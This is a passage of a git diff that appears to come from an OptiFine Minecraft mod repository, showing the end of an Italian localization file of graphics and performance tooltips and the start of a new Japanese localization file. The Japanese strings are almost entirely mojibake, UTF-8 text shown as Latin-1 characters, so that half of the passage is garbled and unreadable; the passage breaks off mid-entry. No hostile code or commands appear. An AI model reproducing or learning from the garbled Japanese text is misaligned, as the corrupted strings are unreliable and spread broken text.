dinamico +of.options.DYNAMIC_FOV.tooltip.1=Visione campo dinamico +of.options.DYNAMIC_FOV.tooltip.2= Sì - attivarlo (per default) +of.options.DYNAMIC_FOV.tooltip.3= No - disattivarlo +of.options.DYNAMIC_FOV.tooltip.4=Cambiare la visione del campo dinamico (FOV) +of.options.DYNAMIC_FOV.tooltip.5=quando si corre, cammina e si usa un arco. + +of.options.DYNAMIC_LIGHTS=Illuminazione dinamica +of.options.DYNAMIC_LIGHTS.tooltip.1=Illuminazione din. +of.options.DYNAMIC_LIGHTS.tooltip.2= No - no illuminazione d. (per default) +of.options.DYNAMIC_LIGHTS.tooltip.3= Rapida - i. dinamica veloce (aggiornato ogni 500ms) +of.options.DYNAMIC_LIGHTS.tooltip.4= Dettagliata - i. dinamiche dettagliate (aggiornam. live) +of.options.DYNAMIC_LIGHTS.tooltip.5= +of.options.DYNAMIC_LIGHTS.tooltip.6=Permette a certi oggetti di emettere luce anche se non piazzati. +of.options.DYNAMIC_LIGHTS.tooltip.7=Quando tieni in mano uno di questi oggetti o li getti a terra +of.options.DYNAMIC_LIGHTS.tooltip.8=l'ambiente si illumina (comprende: torce, glowstone...). + +# Performance + +of.options.SMOOTH_FPS=Stabilizzazione FPS +of.options.SMOOTH_FPS.tooltip.1=Stabilizza l'FPS livellando il buffer driver grafico +of.options.SMOOTH_FPS.tooltip.2= No - senza stabilizzazione +of.options.SMOOTH_FPS.tooltip.3= Sì - con stabilizzazione +of.options.SMOOTH_FPS.tooltip.4= +of.options.SMOOTH_FPS.tooltip.5=Questa opzione dipende dalla scheda grafica +of.options.SMOOTH_FPS.tooltip.6=e il suo effetto non sempre è evidente. + +of.options.SMOOTH_WORLD=Stabilizzazione mondo +of.options.SMOOTH_WORLD.tooltip.1=Elimina i disturbi causati da lag server interno +of.options.SMOOTH_WORLD.tooltip.2= No - senza stabilizzazione +of.options.SMOOTH_WORLD.tooltip.3= Sì - con stabilizzazione +of.options.SMOOTH_WORLD.tooltip.4= +of.options.SMOOTH_WORLD.tooltip.5=Questa opzione stabilizza FPS e distribuisce +of.options.SMOOTH_WORLD.tooltip.6=il carico del server interno. +of.options.SMOOTH_WORLD.tooltip.7=Non funziona in multigiocatore. + +of.options.FAST_RENDER=Rendering veloce +of.options.FAST_RENDER.tooltip.1=Rendering veloce +of.options.FAST_RENDER.tooltip.2= No - rendering standard (lento) +of.options.FAST_RENDER.tooltip.3= Sì - rendering ottimizzato (veloce) +of.options.FAST_RENDER.tooltip.4= +of.options.FAST_RENDER.tooltip.5=Usa un algoritmo di rendering migliorato diminuendo il +of.options.FAST_RENDER.tooltip.6=consumo di GPU e aumenta gli FPS. + +of.options.FAST_MATH=Calcoli ottimizzati +of.options.FAST_MATH.tooltip.1=Calcoli ottimizzati +of.options.FAST_MATH.tooltip.2= No - standard (per default) +of.options.FAST_MATH.tooltip.3= Sì - Calcoli ottimizzati +of.options.FAST_MATH.tooltip.4= +of.options.FAST_MATH.tooltip.5=Utilizzare le funzioni sin() e cos() di Java in forma +of.options.FAST_MATH.tooltip.6=ottimizzata per migliorare l'uso della cache e della CPU +of.options.FAST_MATH.tooltip.7=per migliorare gli FPS. + +of.options.CHUNK_UPDATES=Aggiornamento dei Chunk +of.options.CHUNK_UPDATES.tooltip.1=Aggiornamento dei Chunk +of.options.CHUNK_UPDATES.tooltip.2= 1 - caricamento lento, FPS (default) +of.options.CHUNK_UPDATES.tooltip.3= 3 - caricamento più veloce, FPS bassi +of.options.CHUNK_UPDATES.tooltip.4= 5 - caricamento super-veloce, FPS molto bassi +of.options.CHUNK_UPDATES.tooltip.5= +of.options.CHUNK_UPDATES.tooltip.6=Numero di renderizzazioni chunk per frame. +of.options.CHUNK_UPDATES.tooltip.7=Valori più alti possono destabilizzare gli FPS. + +of.options.CHUNK_UPDATES_DYNAMIC=Aggiornamento dinamico +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=Aggiornamento dei Chunk in modo dinamico +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= No - (default) fotogramma di carico normale +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= Sì - più aggiornamenti mentre si è fermi +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4= +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=Questa opzione forza l'aggiornamento dei Chunk mentre +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.6=si sta fermi per caricare il mondo più velocemente. + +of.options.LAZY_CHUNK_LOADING=Caricamento casuale +of.options.LAZY_CHUNK_LOADING.tooltip.1=Caricamento dei Chunk casuale +of.options.LAZY_CHUNK_LOADING.tooltip.2= No - caricamente dei Chunk in stile default +of.options.LAZY_CHUNK_LOADING.tooltip.3= Sì - caricamento casuale Chunk (stabilizza il caricamento) +of.options.LAZY_CHUNK_LOADING.tooltip.4= +of.options.LAZY_CHUNK_LOADING.tooltip.5=Ammorbidisce il caricamento dei Chunk distribuendolo durante +of.options.LAZY_CHUNK_LOADING.tooltip.6=vari ticks. Disattiva se alcune parti del mondo +of.options.LAZY_CHUNK_LOADING.tooltip.7=non si caricano correttamente. +of.options.LAZY_CHUNK_LOADING.tooltip.8=Funziona solo su mondi locali con un core CPU. + +of.options.RENDER_REGIONS=Renderizza aree +of.options.RENDER_REGIONS.tooltip.1=Renderizza aree +of.options.RENDER_REGIONS.tooltip.2= Sì - (default) non usare renderizzazione aree +of.options.RENDER_REGIONS.tooltip.3= No - usa renderizzazione aree +of.options.RENDER_REGIONS.tooltip.4=La renderizzazione aree permette un rendering migliore +of.options.RENDER_REGIONS.tooltip.5=del terreno a grandi distanze. Meglio se il VBO è attivo. +of.options.RENDER_REGIONS.tooltip.6=Non raccomandata per schede grafiche integrate. + +of.options.SMART_ANIMATIONS=Animazioni smart +of.options.SMART_ANIMATIONS.tooltip.1=Animazioni smart +of.options.SMART_ANIMATIONS.tooltip.2= No - (default) non usare le animazioni smart +of.options.SMART_ANIMATIONS.tooltip.3= Sì - usa le animazioni smart +of.options.SMART_ANIMATIONS.tooltip.4=Con le animazioni smart attive solo le +of.options.SMART_ANIMATIONS.tooltip.5=texture visibili al giocatore saranno animate. +of.options.SMART_ANIMATIONS.tooltip.6=Vengono ridotti picchi di lag e aumentati gli FPS. +of.options.SMART_ANIMATIONS.tooltip.7=Particolarmente utile per pacchetti di mod grandi e texture in HD. + +# Animations + +of.options.animation.allOn=TUTTI Sì +of.options.animation.allOff=TUTTI No +of.options.animation.dynamic=Dinamica + +of.options.ANIMATED_WATER=Acqua +of.options.ANIMATED_LAVA=Lava +of.options.ANIMATED_FIRE=Fuoco +of.options.ANIMATED_PORTAL=Portali +of.options.ANIMATED_REDSTONE=Redstone +of.options.ANIMATED_EXPLOSION=Esplosioni +of.options.ANIMATED_FLAME=Fuochi d'artificio +of.options.ANIMATED_SMOKE=Fumo +of.options.VOID_PARTICLES=Particelle del vuoto +of.options.WATER_PARTICLES=Particelle di acqua +of.options.RAIN_SPLASH=Pioggia +of.options.PORTAL_PARTICLES=Particelle dei portali +of.options.POTION_PARTICLES=Particelle delle pozioni +of.options.DRIPPING_WATER_LAVA=Gocce d'acqua/lava +of.options.ANIMATED_TERRAIN=Terreno animato +of.options.ANIMATED_TEXTURES=Texture animate +of.options.FIREWORK_PARTICLES=Particelle Fuochi d'artificio + +# Other + +of.options.LAGOMETER=Contatore lag +of.options.LAGOMETER.tooltip.1=Mostra il contatore di lag premendo F3 +of.options.LAGOMETER.tooltip.2=* Arancione - Cestino memoria +of.options.LAGOMETER.tooltip.3=* Ciano - Ticks +of.options.LAGOMETER.tooltip.4=* Azzurro - Eseguibili programmati +of.options.LAGOMETER.tooltip.5=* Porpora - Caricamento dei Chunk +of.options.LAGOMETER.tooltip.6=* Rosso - Aggiornamento dei Chunk +of.options.LAGOMETER.tooltip.7=* Giallo - Controllo visibilità +of.options.LAGOMETER.tooltip.8=* Verde - Terreno renderizzato + +of.options.PROFILER=Profilo di debug +of.options.PROFILER.tooltip.1=Debug +of.options.PROFILER.tooltip.2= Sì - il profilo di debug attivato, più lento +of.options.PROFILER.tooltip.3= No - il profilo di debug disattivato, più veloce +of.options.PROFILER.tooltip.4=Il profilo di debug raccoglie e visualizza maggiori +of.options.PROFILER.tooltip.5=informazioni rispetto alla funzione F3. + +of.options.WEATHER=Condizioni meteo +of.options.WEATHER.tooltip.1= Tempo (tempo atmosferico) +of.options.WEATHER.tooltip.2= Sì - tempo attivato, più lento +of.options.WEATHER.tooltip.3= No - tempo disattivato, più veloce +of.options.WEATHER.tooltip.4=Il clima controlla pioggia, neve e tempeste. +of.options.WEATHER.tooltip.5=Questa opzione non funziona in multigiocatore. + +of.options.time.dayOnly=Sempre giorno +of.options.time.nightOnly=Sempre notte + +of.options.TIME=Tempo +of.options.TIME.tooltip.1=Tempo (orario, giorno o notte) +of.options.TIME.tooltip.2= Predefinito - cicli normali giorno / notte +of.options.TIME.tooltip.3= Sempre giorno - sempre è solo giorno +of.options.TIME.tooltip.4= Sempre notte - sempre e solo notte +of.options.TIME.tooltip.5=Questa opzione funziona solo in creativa e solamente +of.options.TIME.tooltip.6=in mondi locali (NON in multigiocatore). + +options.fullscreen.tooltip.1=Schermo intero +options.fullscreen.tooltip.2= Sì - giocare a schermo intero +options.fullscreen.tooltip.3= No - giocare a schermo normale +options.fullscreen.tooltip.4=Giocare a schermo intero può essere +options.fullscreen.tooltip.5=migliore o peggiore, dipende dalla scheda grafica. + +of.options.FULLSCREEN_MODE=Risoluzione +of.options.FULLSCREEN_MODE.tooltip.1=Risoluzione dello schermo intero +of.options.FULLSCREEN_MODE.tooltip.2= Predefinito - risoluzione del monitor, più lento +of.options.FULLSCREEN_MODE.tooltip.3= Wxh - un'altra risoluzione, più efficiente +of.options.FULLSCREEN_MODE.tooltip.4=Modificare la risoluzione a schermo intero (F11). +of.options.FULLSCREEN_MODE.tooltip.5=Normalmente il più basso incrementa le prestazioni. + +of.options.SHOW_FPS=Mostra FPS +of.options.SHOW_FPS.tooltip.1=Mostra FPS e i dati di rendering +of.options.SHOW_FPS.tooltip.2= C: - rendering dei Chunk +of.options.SHOW_FPS.tooltip.3= E: - entità rese + blocchi-entità resi +of.options.SHOW_FPS.tooltip.4= U: - aggiornamento dei Chunk +of.options.SHOW_FPS.tooltip.5= +of.options.SHOW_FPS.tooltip.6=Questi dati ridotti vengono visualizzati +of.options.SHOW_FPS.tooltip.7=solo quando non è attiva la funzione F3. + +of.options.save.default=Originale (2s) +of.options.save.20s=20s +of.options.save.3min=3min +of.options.save.30min=30min + +of.options.AUTOSAVE_TICKS=Autosalvataggio +of.options.AUTOSAVE_TICKS.tooltip.1=Intervallo dell'autosalvataggio +of.options.AUTOSAVE_TICKS.tooltip.2=L'intervallo di gioco originale (2s) non è raccomandato. +of.options.AUTOSAVE_TICKS.tooltip.3=Un breve intervallo può influire negativamente sulle prestazioni. + +options.anaglyph.tooltip.1=Visione in 3D + +of.options.ADVANCED_TOOLTIPS=Descrizione oggetti +of.options.ADVANCED_TOOLTIPS.tooltip.1=Descrizione degli oggetti nell'inventario +of.options.ADVANCED_TOOLTIPS.tooltip.2= Sì - mostra le descrizioni +of.options.ADVANCED_TOOLTIPS.tooltip.3= No - non mostrare descrizioni (per default) +of.options.ADVANCED_TOOLTIPS.tooltip.4=Consente di visualizzare informazioni più dettagliate +of.options.ADVANCED_TOOLTIPS.tooltip.5=su oggetti (ID, durata) e le +of.options.ADVANCED_TOOLTIPS.tooltip.6=Shaders (ID, origine, di default). + +of.options.SCREENSHOT_SIZE=Dimensione screenshot +of.options.SCREENSHOT_SIZE.tooltip.1=Grandezza screenshot +of.options.SCREENSHOT_SIZE.tooltip.2= Default - grandezza di default +of.options.SCREENSHOT_SIZE.tooltip.3= 2x-4x - grandezza personalizzata +of.options.SCREENSHOT_SIZE.tooltip.4=Fare screenshot più grandi richiede più memoria. +of.options.SCREENSHOT_SIZE.tooltip.5=Non compatibile con Render Veloce e Antialiasing. +of.options.SCREENSHOT_SIZE.tooltip.6=Richiede supporto framebuffer della GPU. + +of.options.SHOW_GL_ERRORS=Errori Open GL +of.options.SHOW_GL_ERRORS.tooltip.1=Mostra Errori Open GL +of.options.SHOW_GL_ERRORS.tooltip.2=Quando abilitata mostra errori in chat. +of.options.SHOW_GL_ERRORS.tooltip.3=Disabilita solo se ci sono conflitti o per +of.options.SHOW_GL_ERRORS.tooltip.4=errori che non possono essere risolti. +of.options.SHOW_GL_ERRORS.tooltip.5=Quando disabilitato gli errori sono sempre salvati +of.options.SHOW_GL_ERRORS.tooltip.6=nel log degli errori e possono causare drop di FPS. diff --git a/src/assets/minecraft/optifine/lang/ja_jp.lang b/src/assets/minecraft/optifine/lang/ja_jp.lang new file mode 100644 index 00000000..6ff821f6 --- /dev/null +++ b/src/assets/minecraft/optifine/lang/ja_jp.lang @@ -0,0 +1,738 @@ +# Contributors of Japanese localization # +# takanasayo 2012-12-01 ---- 2013-07-15 +# CrafterKina 2014-01-04 ---- + +# General +of.general.ambiguous=ä¸æ˜Žç¢º +of.general.compact=コンパクト +of.general.custom=カスタム +of.general.from=ç”±æ¥ +of.general.id=ID +of.general.max=æœ€å¤§é™ +of.general.restart=å†èµ·å‹• +of.general.smart=スマート + +# Keys +of.key.zoom=ズーム + +# Message +of.message.aa.shaders1=アンãƒã‚¨ã‚¤ãƒªã‚¢ã‚¹ã¯ã‚·ã‚§ãƒ¼ãƒ€ãƒ¼ã¨å…±å­˜ã§ãã¾ã›ã‚“。 +of.message.aa.shaders2=ã“ã®ã‚ªãƒ—ションを有効ã«ã™ã‚‹ã«ã¯ã€ã‚·ã‚§ãƒ¼ãƒ€ãƒ¼ã‚’無効ã«ã—ã¦ãã ã•ã„。 + +of.message.af.shaders1=異方性フィルタリングã¯ã‚·ã‚§ãƒ¼ãƒ€ãƒ¼ã¨å…±å­˜ã§ãã¾ã›ã‚“。 +of.message.af.shaders2=ã“ã®ã‚ªãƒ—ションを有効ã«ã™ã‚‹ã«ã¯ã€ã‚·ã‚§ãƒ¼ãƒ€ãƒ¼ã‚’無効ã«ã—ã¦ãã ã•ã„。 + +of.message.fr.shaders1=æç”»ã®æœ€é©åŒ–ã¯ã‚·ã‚§ãƒ¼ãƒ€ãƒ¼ã¨å…±å­˜ã§ãã¾ã›ã‚“。 +of.message.fr.shaders2=ã“ã®ã‚ªãƒ—ションを有効ã«ã™ã‚‹ã«ã¯ã€ã‚·ã‚§ãƒ¼ãƒ€ãƒ¼ã‚’無効ã«ã—ã¦ãã ã•ã„。 + +of.message.an.shaders1=3Dアナグリフã¯ã‚·ã‚§ãƒ¼ãƒ€ãƒ¼ã¨å…±å­˜ã§ãã¾ã›ã‚“。 +of.message.an.shaders2=ã“ã®ã‚ªãƒ—ションを有効ã«ã™ã‚‹ã«ã¯ã€ã‚·ã‚§ãƒ¼ãƒ€ãƒ¼ã‚’無効ã«ã—ã¦ãã ã•ã„。 + +of.message.shaders.aa1=シェーダーã¯ã‚¢ãƒ³ãƒã‚¨ã‚¤ãƒªã‚¢ã‚¹ã¨å…±å­˜ã§ãã¾ã›ã‚“。 +of.message.shaders.aa2=å“質ã®è¨­å®š → アンãƒã‚¨ã‚¤ãƒªã‚¢ã‚¹ をオフã«ã—ã€ã‚²ãƒ¼ãƒ ã‚’å†èµ·å‹•ã—ã¦ãã ã•ã„。 + +of.message.shaders.af1=シェーダーã¯ç•°æ–¹æ€§ãƒ•ã‚£ãƒ«ã‚¿ãƒªãƒ³ã‚°ã¨å…±å­˜ã§ãã¾ã›ã‚“。 +of.message.shaders.af2=å“質ã®è¨­å®š → 異方性フィルタリング をオフã«ã—ã¦ãã ã•ã„。 + +of.message.shaders.fr1=シェーダーã¯æç”»ã®æœ€é©åŒ–ã¨å…±å­˜ã§ãã¾ã›ã‚“。 +of.message.shaders.fr2=演出ã®è¨­å®š → æç”»ã®æœ€é©åŒ– をオフã«ã—ã¦ãã ã•ã„。 + +of.message.shaders.an1=シェーダーã¯3Dアナグリフã¨å…±å­˜ã§ãã¾ã›ã‚“。 +of.message.shaders.an2=ãã®ä»–ã®è¨­å®š → 3Dアナグリフ をオフã«ã—ã¦ãã ã•ã„。 + +of.message.shaders.nv1=ã“ã®ã‚·ã‚§ãƒ¼ãƒ€ãƒ¼ãƒ‘ックã¯ã‚ˆã‚Šæ–°ã—ã„OptiFine (%s) ã‚’è¦æ±‚ã—ã¾ã™ã€‚ +of.message.shaders.nv2=続行ã—ã¾ã™ã‹ï¼Ÿ + +of.message.newVersion=æ–°ã—ㄧeOptiFine§fãŒå…¬é–‹ã•ã‚Œã¾ã—ãŸ: §e%s§f +of.message.java64Bit=パフォーマンスを高ã‚ã‚‹ãŸã‚ã«Â§e64-bit Java§fãŒåˆ©ç”¨ã§ãã¾ã™ã€‚ +of.message.openglError=§eOpenGLエラー§f: %s (%s) + +of.message.shaders.loading=シェーダーをロード中: %s + +of.message.other.reset=å…¨ã¦ã®è¨­å®šã‚’å…ƒã®çŠ¶æ…‹ã«æˆ»ã—ã¦ã‚‚よã‚ã—ã„ã§ã™ã‹ï¼Ÿ + +of.message.loadingVisibleChunks=å¯è¦–ãƒãƒ£ãƒ³ã‚¯ã‚’読ã¿è¾¼ã¿ä¸­ + +# Skin customization + +of.options.skinCustomisation.ofCape=OptiFineマント... + +# Video settings + +options.graphics.tooltip.1=グラフィックス +options.graphics.tooltip.2= 処ç†å„ªå…ˆ - 低å“質ã€ä½Žè² è· +options.graphics.tooltip.3= æ画優先 - 高å“質ã€é«˜è² è· +options.graphics.tooltip.4=葉ã®é€éŽã€ã‚¢ã‚¤ãƒ†ãƒ ã‚„Mobã®å½±ã€ãƒ‰ãƒ­ãƒƒãƒ—アイテムã®3Dæ写〠+options.graphics.tooltip.5=厚ã¿ã®ã‚る雲ã€æ°´ã®2パスレンダリングã€ã¨ã„ã£ãŸã‚°ãƒ©ãƒ•ã‚£ãƒƒã‚¯åŠ¹æžœã‚’変更ã—ã¾ã™ã€‚ + +of.options.renderDistance.tiny=最短 +of.options.renderDistance.short=短ㄠ+of.options.renderDistance.normal=普通 +of.options.renderDistance.far=é ã„ +of.options.renderDistance.extreme=éŽæ¿€ +of.options.renderDistance.insane=ç‹‚æ°— +of.options.renderDistance.ludicrous=ä¸æ¡ç† + +options.renderDistance.tooltip.1=æç”»è·é›¢ +options.renderDistance.tooltip.2= 2 最短 - 32m (最低負è·) +options.renderDistance.tooltip.3= 8 普通 - 128m (普通) +options.renderDistance.tooltip.4= 16 é ã„ - 256m (高負è·) +options.renderDistance.tooltip.5= 32 éŽæ¿€ - 512m (超高負è·ï¼) 大é‡ã®ãƒªã‚½ãƒ¼ã‚¹ã‚’è¦æ±‚ã—ã¾ã™ +options.renderDistance.tooltip.6= 48 ç‹‚æ°— - 768mã€2GBã®ãƒ¡ãƒ¢ãƒªãƒ¼å‰²ã‚Šå½“ã¦ãŒå¿…è¦ã§ã™ +options.renderDistance.tooltip.7= 64 ä¸æ¡ç† - 1024mã€3GBã®ãƒ¡ãƒ¢ãƒªãƒ¼å‰²ã‚Šå½“ã¦ãŒå¿…è¦ã§ã™ +options.renderDistance.tooltip.8=é ã„を超ãˆã‚‹æç”»è·é›¢ã¯ã‚·ãƒ³ã‚°ãƒ«ã®ãƒ¯ãƒ¼ãƒ«ãƒ‰ã§ã®ã¿åŠ¹æžœãŒã‚ã‚Šã¾ã™ã€‚ + +options.ao.tooltip.1=スムースライティング +options.ao.tooltip.2= オフ - スムースライティングを使用ã—ãªã„ (低負è·) +options.ao.tooltip.3= æœ€å° - å˜ç´”ãªã‚¹ãƒ ãƒ¼ã‚¹ãƒ©ã‚¤ãƒ†ã‚£ãƒ³ã‚° (高負è·) +options.ao.tooltip.4= 最大 - 複雑ãªã‚¹ãƒ ãƒ¼ã‚¹ãƒ©ã‚¤ãƒ†ã‚£ãƒ³ã‚° (最高負è·) + +options.framerateLimit.tooltip.1=最大フレームレート +options.framerateLimit.tooltip.2= åž‚ç›´åŒæœŸ - モニターã®ãƒ•ãƒ¬ãƒ¼ãƒ ãƒ¬ãƒ¼ãƒˆã«åˆã‚ã›ã‚‹ (60ã€30ã€20) +options.framerateLimit.tooltip.3= 5〜255 - フレームレートを設定ã—ãŸå€¤ã¾ã§ã«åˆ¶é™ã™ã‚‹ +options.framerateLimit.tooltip.4= ç„¡åˆ¶é™ - フレームレートを制é™ã—ãªã„ (最低負è·) +options.framerateLimit.tooltip.5=ãŸã¨ãˆåˆ¶é™ã«é”ã—ã¦ã„ãªãã¨ã‚‚〠+options.framerateLimit.tooltip.6=フレームレートを抑制ã—ã¾ã™ã€‚ +of.options.framerateLimit.vsync=åž‚ç›´åŒæœŸ + +of.options.AO_LEVEL=スムースライティングã®ç¨‹åº¦ +of.options.AO_LEVEL.tooltip.1=スムースライティングã®ç¨‹åº¦ +of.options.AO_LEVEL.tooltip.2= オフ - å½±ãªã— +of.options.AO_LEVEL.tooltip.3= 50%% - 明るã„å½± +of.options.AO_LEVEL.tooltip.4= 100%% - æš—ã„å½± + +options.viewBobbing.tooltip.1=ç”»é¢ã®æºã‚Œ +options.viewBobbing.tooltip.2=ミップマップを使ã†å ´åˆã«ã¯ã€æœ€è‰¯ã®çµæžœã®ãŸã‚ã«ã‚ªãƒ•ã«ã—ã¦ãã ã•ã„。 + +options.guiScale.tooltip.1=GUIã®å¤§ãã• +options.guiScale.tooltip.2= 自動 - 最大サイズ +options.guiScale.tooltip.3= å°ã•ã„ã€æ™®é€šã€å¤§ãã„ - 1å€ã‹ã‚‰3å€ +options.guiScale.tooltip.4= 4x ã‹ã‚‰ 10x - 4kç”»é¢ã§æœ‰åŠ¹ +options.guiScale.tooltip.5=å¥‡æ•°å€ (1xã€3xã€5x ...) ã¯Unicodeフォントã¨äº’æ›ãŒã‚ã‚Šã¾ã›ã‚“。 +options.guiScale.tooltip.6=GUIã¯å°ã•ã„ã»ã†ãŒå‡¦ç†ãŒé€Ÿããªã‚‹ã‹ã‚‚ã—ã‚Œã¾ã›ã‚“。 + +options.vbo=VBO ã®ä½¿ç”¨ +options.vbo.tooltip.1=頂点ãƒãƒƒãƒ•ã‚¡ã‚ªãƒ–ジェクト +options.vbo.tooltip.2=æ画方å¼ã‚’ç½®ãæ›ãˆã€é€šå¸¸ã‚ˆã‚Š +options.vbo.tooltip.3=5〜10%%処ç†ã‚’軽ãã§ãã¾ã™ã€‚ + +options.gamma.tooltip.1=æš—ã„物体ã®æ˜Žã‚‹ã•ã®å¤‰æ›´ +options.gamma.tooltip.2= æš—ã„ - 通常ã®æ˜Žã‚‹ã• +options.gamma.tooltip.3= 1〜99%% - 明るã•ã‚’調整ã™ã‚‹ +options.gamma.tooltip.4= 明るㄠ- 最大ã®æ˜Žã‚‹ã• +options.gamma.tooltip.5=完全ã«é»’ã„物体ã®æ˜Žã‚‹ã•ã¯ã€ +options.gamma.tooltip.6=変更ã§ãã¾ã›ã‚“。 + +options.anaglyph.tooltip.1=3Dアナグリフ +options.anaglyph.tooltip.2=ãã‚Œãžã‚Œã®ç›®ã«åˆ¥ã€…ã®è‰²ã‚’使ã†ã“ã¨ã§ +options.anaglyph.tooltip.3=立体視をå¯èƒ½ã«ã™ã‚‹æ©Ÿèƒ½ã‚’有効ã«ã—ã¾ã™ã€‚ +options.anaglyph.tooltip.4=赤é’3DメガãƒãŒå¿…è¦ã§ã™ã€‚ + +of.options.ALTERNATE_BLOCKS=代替ブロック +of.options.ALTERNATE_BLOCKS.tooltip.1=代替ブロック +of.options.ALTERNATE_BLOCKS.tooltip.2=å¹¾ã¤ã‹ã®ãƒ–ロックã§ä»£æ›¿ãƒ¢ãƒ‡ãƒ«ã‚’使用ã—ã¾ã™ã€‚ +of.options.ALTERNATE_BLOCKS.tooltip.3=é¸æŠžã•ã‚ŒãŸãƒªã‚½ãƒ¼ã‚¹ãƒ‘ックã«ä¾å­˜ã—ã¾ã™ã€‚ + +of.options.FOG_FANCY=霧ã®ç¨®é¡ž +of.options.FOG_FANCY.tooltip.1=霧ã®ç¨®é¡žã®è¨­å®š +of.options.FOG_FANCY.tooltip.2= 処ç†å„ªå…ˆ - 低負è·ãªéœ§ +of.options.FOG_FANCY.tooltip.3= æ画優先 - 高負è·ãªéœ§ より良ã見ãˆã‚‹ +of.options.FOG_FANCY.tooltip.4= オフ - 霧ãªã— æœ€ä½Žè² è· +of.options.FOG_FANCY.tooltip.5=グラフィックカードãŒå¯¾å¿œã—ã¦ã„ã‚‹å ´åˆã®ã¿ +of.options.FOG_FANCY.tooltip.6=美麗ãªéœ§ã‚’使用ã§ãã¾ã™ã€‚ + +of.options.FOG_START=霧ã®è·é›¢ +of.options.FOG_START.tooltip.1=プレイヤーã¨éœ§ã®è·é›¢ã®è¨­å®š +of.options.FOG_START.tooltip.2= 0.2 - プレイヤーã¨éœ§ã®è·é›¢ã‚’最も近ãã™ã‚‹ +of.options.FOG_START.tooltip.3= 0.8 - プレイヤーã¨éœ§ã®è·é›¢ã‚’最もé ãã™ã‚‹ +of.options.FOG_START.tooltip.4=ã“ã®è¨­å®šã¯æ¦‚ã­ãƒ‘フォーマンスã«å½±éŸ¿ã‚’与ãˆã¾ã›ã‚“。 + +of.options.CHUNK_LOADING=ãƒãƒ£ãƒ³ã‚¯èª­ã¿è¾¼ã¿ +of.options.CHUNK_LOADING.tooltip.1=ãƒãƒ£ãƒ³ã‚¯èª­ã¿è¾¼ã¿ +of.options.CHUNK_LOADING.tooltip.2= デフォルト - ãƒãƒ£ãƒ³ã‚¯èª­ã¿è¾¼ã¿æ™‚ã€FPSã¯å®‰å®šã—ãªã„。 +of.options.CHUNK_LOADING.tooltip.3= 滑ら㋠- フレームレート低下を抑制。 +of.options.CHUNK_LOADING.tooltip.4= マルãƒã‚³ã‚¢ - フレームレートã®ã•ã‚‰ãªã‚‹å®‰å®šåŒ–ã€ãƒ¯ãƒ¼ãƒ«ãƒ‰ã®èª­ã¿è¾¼ã¿å‡¦ç†ãŒä¸‰å€ã»ã©é€Ÿããªã‚‹ã€‚ +of.options.CHUNK_LOADING.tooltip.5=滑らã‹ã‚„マルãƒã‚³ã‚¢ã§ã‚ã‚Œã°ã€ãƒãƒ£ãƒ³ã‚¯èª­ã¿è¾¼ã¿ã«èµ·å› ã™ã‚‹ +of.options.CHUNK_LOADING.tooltip.6=カクã¤ãã¨ãƒ•ãƒªãƒ¼ã‚ºã‚’除ã‘ã¾ã™ã€‚ +of.options.CHUNK_LOADING.tooltip.7=マルãƒã‚³ã‚¢ã§ã¯äºŒç•ªç›®ã®CPUを用ã„ã‚‹ã“ã¨ã§ãƒ¯ãƒ¼ãƒ«ãƒ‰ã®èª­ã¿è¾¼ã¿å‡¦ç†ãŒ +of.options.CHUNK_LOADING.tooltip.8=三å€ã»ã©é€Ÿãã§ãã€FPSも改善ã§ãã¾ã™ã€‚ +of.options.chunkLoading.smooth=滑ら㋠+of.options.chunkLoading.multiCore=マルãƒã‚³ã‚¢ + +of.options.shaders=シェーダーã®è©³ç´°è¨­å®š... +of.options.shadersTitle=シェーダーã®è©³ç´°è¨­å®š + +of.options.shaders.packNone=ãªã— +of.options.shaders.packDefault=(内部シェーダー) + +of.options.shaders.ANTIALIASING=アンãƒã‚¨ã‚¤ãƒªã‚¢ã‚¹ +of.options.shaders.ANTIALIASING.tooltip.1=アンãƒã‚¨ã‚¤ãƒªã‚¢ã‚¹ +of.options.shaders.ANTIALIASING.tooltip.2= オフ - (åˆæœŸå€¤) アンãƒã‚¨ã‚¤ãƒªã‚¢ã‚¹ã‚’è¡Œã‚ãªã„ (低負è·) +of.options.shaders.ANTIALIASING.tooltip.3= FXAA 2xã€4x - アンãƒã‚¨ã‚¤ãƒªã‚¢ã‚¹ã•ã‚ŒãŸè¼ªéƒ­ (高負è·) +of.options.shaders.ANTIALIASING.tooltip.4=FXAAã¯è¼ªéƒ­ã®ã‚®ã‚¶ã‚®ã‚¶ã‚„急激ãªè‰²ã®å¤‰åŒ–ã‚’ +of.options.shaders.ANTIALIASING.tooltip.5=滑らã‹ã«ã™ã‚‹å¾Œå‡¦ç†åŠ¹æžœã§ã™ã€‚ +of.options.shaders.ANTIALIASING.tooltip.6=ã“ã®æ©Ÿèƒ½ã¯æ—§æ¥ã®ã‚¢ãƒ³ãƒã‚¨ã‚¤ãƒªã‚¢ã‚¹å‡¦ç†ã‚ˆã‚Šä½Žè² è·ã§ +of.options.shaders.ANTIALIASING.tooltip.7=シェーダーやæç”»ã®æœ€é©åŒ–機能ã¨å…±å­˜ã§ãã¾ã™ã€‚ + +of.options.shaders.NORMAL_MAP=法線マップ +of.options.shaders.NORMAL_MAP.tooltip.1=法線マップ +of.options.shaders.NORMAL_MAP.tooltip.2= オン - (åˆæœŸå€¤) 法線マップを有効化 +of.options.shaders.NORMAL_MAP.tooltip.3= オフ - 法線マップを無効化 +of.options.shaders.NORMAL_MAP.tooltip.4=法線マップã¯ã‚·ã‚§ãƒ¼ãƒ€ãƒ¼ãƒ‘ックãŒå¹³å¦ãªãƒ¢ãƒ‡ãƒ«ã®è¡¨é¢ã«ãŠã‘ã‚‹ +of.options.shaders.NORMAL_MAP.tooltip.5=立体的ãªå½¢çŠ¶ã‚’シミュレーションã™ã‚‹ãŸã‚ã«ç”¨ã„られã¾ã™ã€‚ +of.options.shaders.NORMAL_MAP.tooltip.6=法線マップテクスãƒãƒ£ã¯ç¾åœ¨ä½¿ç”¨ä¸­ã® +of.options.shaders.NORMAL_MAP.tooltip.7=リソースパックã«ä¾å­˜ã—ã¾ã™ã€‚ + +of.options.shaders.SPECULAR_MAP=é¡é¢å射マップ +of.options.shaders.SPECULAR_MAP.tooltip.1=é¡é¢å射マップ +of.options.shaders.SPECULAR_MAP.tooltip.2= 